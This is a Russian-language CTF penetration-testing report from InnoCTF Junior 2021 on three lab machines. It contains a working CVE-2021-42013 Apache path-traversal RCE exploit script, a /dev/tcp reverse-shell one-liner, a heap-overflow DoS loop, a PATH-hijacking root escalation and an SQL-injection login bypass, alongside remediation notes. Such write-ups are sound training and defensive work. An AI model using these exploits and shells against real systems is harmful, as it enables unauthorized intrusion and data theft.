# InnoCTF Junior 2021 Penetrations testing report by одуванчики
___
## Выполнили
Команда "одуванчики":
- Ефремов Алексей Александрович (dragonmail135159@gmail.com)
- Федотов Иван Максимович (fim2774@gmail.com)
- Дильман Никита Евгеньевич (dalmannikita@gmail.com)
- Лучкин Вячеслав Александрович (someone12469@gmail.com)
- Шевченко Владислав Витальевич (cha1ned.bb@gmail.com)
## Содержание
[TOC]
## Тестируемые устройства
Имя устройства|IP
:---:|:-:
Wafy WAF | 84.252.132.161
Simple Band |130.193.45.159
Issue Tracker | 130.193.46.66
## Wafy WAF
### Разведка
При сканировании машины были обнаружены следующие открытые порты:
| Port | Service |
|:-:|:-:|
| 22 | ssh(OpenSSH) |
| 80 | http(nginx/1.21.3) |
На порту 80 слушает веб-сервер, на котором размещено простое веб-приложение. Для доступа к содержимому необходимо авторизоваться, возможность регистрации есть.
При входе нас встречает лендинг "Wafy WAF". Это дополнение к веб-серверу nginx, которое осуществляет защиту от XSS и SQL-инъекций. На самом лендинге кнопка для загрузки отсутствует.
Заметим, что картинки на странице загружаются из пути `/download/x`, где `x` - номер файла. Для нахожения скрытых файлов используем скрипт:
```python=
import requests
s = requests.session()
s.cookies.set("api-auth", "YOUR_COOKIE_HERE")
url = "http://84.252.132.161/download/{}"
for x in range(0, 1000):
req = s.get(url.format(x))
if "File not found" not in req.text:
print(url.format(x))
```
При запуске находятся следующие файлы:
| URL | mime-type |
| --- | --------- |
| `/download/3` | `image/jpeg` |
| `/download/16` | `image/png` |
| `/download/20` | `image/png` |
| `/download/44` | `image/png` |
| `/download/51` | `image/png` |
| `/download/55` | `application/octet-stream` |
Наибольший интерес вызывает последний файл. Рассмотрим его подробнее:
```shell
$ wget http://84.252.132.161/download/55 -O file.bin
$ file file.bin
file.bin: ELF 64-bit LSB executable, x86-64, version 1
(SYSV), dynamically linked, interpreter /lib64/ld-linux-
x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=
09b1621d3fe6c90f536ba3a753bb8976f087ff81, not stripped
```
Среди символов в этом исполняемом файле многие начинаются с `ngx_`, откуда можно сделать вывод, что это и есть сборка nginx с Wafy.
### Уязвимость
Heap ovverflow, в связи с неправильной валидацией размера Content-Length.
Security level: low (падениче чайлда)
PoC:
```python=
import requests
from requests import cookies
from requests.sessions import session
ip = "127.0.0.1"
port = 80
req_host = f"http://{ip}:{port}/?"
session_pool = requests.session()
headers = {
u'Content-Length': u'1',
}
#session_pool.get(req_host,
# data = {
# 'CHA2NED': 'A' * 256
# }
#)
while True:
try:
session_pool.get(req_host,
headers=headers,
data = {
'CHA2NED': 'A' * 8000
}
)
except: pass
```
## Simple Band
### Разведка
При сканировании машины были обнаружены следующие открытые порты:
| Port | Service |
|:-:|:-:|
22 | ssh (OpenSSH)
80 | http (Apache/2.4.5)
2222 | ssh (OpenSSH)
### Поиск уязвимостей
В первую очередь мы произвели поиск существующих уязвимостей в базе MITRE CVE. В [CVE-2021-41773](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773) утверждается наличие уязвимости Remote code execution, однако эта CVE применима к версии Apache 2.4.49. При этом далее даётся инфомация о том, что добавленные в версии 2.4.50 исправления ошибок не в полной мере закрывают данную уязвимость. Атака по-прежнему возможна, и для её осуществления мы использовали публично доступный эксплоит.
```bash=
# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage: https://apache.org/
# Version: 2.4.50
# Tested on: 2.4.50
# CVE : CVE-2021-42013
# Credits: Ash Daulton and the cPanel Security Team
#!/bin/bash
if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
echo ./PoC.sh targets.txt /bin/sh id
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done
# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami
```
Получить reverse shell можно командой
```bash
$ bash 2.py targets.txt /bin/sh '/bin/bash -c "/bin/bash -i >&/dev/tcp/IP/PORT 0>&1"'
```
**Тип эксплуатируемой уязвимости**: Remote code execution (через path traversal)
**Критичность:** <span style="color:Red">Critical<span style="color:Red">
**Найденный флаг:** `086925fb0b64e870ce5d0162c78952b5`
### Повышение привелегий
В `/usr/bin` можно заметить кастомный исполняемый файл `info`, который выводит информацию о системе. С помощью IDA Pro и Hex-Rays получаем следующий псевдо-код, из которого видно, что запускается `cat` и другие команды системы.
```cpp=
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
__int64 v12; // rax
__int64 v13; // rax
__int64 v14; // rax
__int64 v15; // rax
__int64 v16; // rax
__int64 v17; // rax
__int64 v18; // rax
__int64 v19; // rax
char v21[40]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v22; // [rsp+28h] [rbp-18h]
v22 = __readfsqword(0x28u);
setuid(0);
setgid(0);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "SystemInformation tool v. 0.1 beta");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "\n\n\n\n");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Kernel: \n\n");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
exec[abi:cxx11](v21, "cat /proc/cmdline");
// еще куча всяких операций
}
```
Программа выполняет `cat` не по абсолютному пути, поэтому можно подменить PATH так, что `cat` будет нашей программой; она тоже получит права root.
С помощью следующего bash скрипта (запущенного на вм) читаем `/root/root.txt`.
```bash
mkdir /tmp/_
cd /tmp/_
echo -e '#!/bin/bash\n/bin/cat /root/root.txt' > cat
chmod +x cat
PATH=. /usr/bin/info
```
**Тип эксплуатируемой уязвимости**: Path hijacking
**Описание эксплуатации**:
**Критичность:** <span style="color:Red">Critical</span>
**Найденный флаг:** `bc05630d1d95b6235c105c161c8ecf50`
## Issue Tracker
### Разведка
При сканировании машины были обнаружены следующие открытые порты:
| Port | Service |
|:-:|:-:|
22 | ssh(OpenSSH)
2244 | ssh(OpenSSH)
9000 | http(nginx/1.18.0)
При открытии `http://130.193.46.66:9000` в браузере нас встречает форма логина. Функция регистрации в данном приложении закрыта, поэтому для входа в систему необходимо найти уязвимость.
Очевидным вектором атаки является использование SQL-инъекций в форме логина. Вводя различные сочетания username и password обнаруживаем, что при вводе `'` в качестве логина система возвращает ошибку. Из этого можно сделать вывод, что возможна SQL-инъекция из-за отсутствия фильтрации пользовательских данных.

### Поиск уязвимостей
#### SQL иньекция
Для входа в учетную запись используем комбинацию username: `admin' OR 1=1-- -` и любого пароля.
Теперь нас встречает сайт, с такой вот верхней панелькой. Щелкнув по вкладке `Issues` переходим на [страницу](http://130.193.46.66:9000/?page=issues)

В одном из [Issue](http://130.193.46.66:9000/?page=view_issue&id=8f14e45fceea167a5a36dedd4bea2543) мы находим пароль `9a16a1ccef71ff4af0dbe179f1af09db` пользователя `Dannyel Rolsen`.

Дальше перейдем на [страницу содержащую логины пользователей](http://130.193.46.66:9000/?page=users), среди них находим логин пользователя `Dannyel Rolsen` и заходим под ним на сервер по ssh.
```shell
$ ssh denny@130.193.46.66 -p 2244
```
**Тип эксплуатируемой уязвимости**: SQL инъекция
**Патч или фикс**: Необходимо переписать код сервиса с использованием техник фильтраций SQLi-атак. Также рекомендуется не выводить ошибки бекенда в клиентскую часть.
**Критичность:** <span style="color:Orange">High</span>
**Найденный флаг:** `709fa7568727b53c3e56e1169aa1ee11`
### Повышение привелегий
В домашней директории пользователя мы обнаруживаем скрипт `test_password.py`
```python=
from re import fullmatch
import keyring as kr
from requests import get
def check(password):
data = list(get('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt').text)
if password in data:
return "Password leak!"
if not fullmatch(r'[A-Za-z0-9@#$%^&+=]{8,}', password):
return "Password is too weak!"
else:
return "Strong password"
def test():
password = kr.get_password("system", "denny")
print(password)
return check(password)
print("Checking local password...")
print(test())
password = bytes(input("New password: "))
print(check(password))
```
Скрипт использует модуль `keyring`. В директории `~/.local/share/python_keyring/` мы находим его конфигурационный файл, в котором хранятся закодированные Base64 пароли пользователей.
```bash
$ ls ~/.local/share/python_keyring/
keyring_pass.cfg
$ cat keyring_pass.cfg
[user]
denny =
OWExNmExY2NlZjcxZmY0YWYwZGJlMTc5ZjFhZjA5ZGI=
anjela =
UVdFUnkxMjMhQDM=
admin =
MWIyZWVmMjI4NzdiMDYxMzEyYjIzMDNjM2RmMWRkMw==
```
Используя декодированный пароль пользователя `admin`, войдем в систему как `root` (через `su`) и прочитаем флаг.
**Тип эксплуатируемой уязвимости**: неправильный контроль привилегий, хранение паролей без использования хеширования (шифрования), слабая парольная политика (повторное использование паролей пользователями).
**Описание эксплуатации**: необходимо декодировать Base64 от пароля учетной записи `admin` из публично доступного файла и использовать его для входа как `root`
**Патч или фикс**: настроить права доступа к файлам конфигурации (и не хранить в них критическую информацию), хешировать (шифровать) пароли, ввести строгую парольную политику.
**Критичность:** <span style="color:Red">Critical</span>
**Найденный флаг:** `db617092457a62accd0d192bee667b16`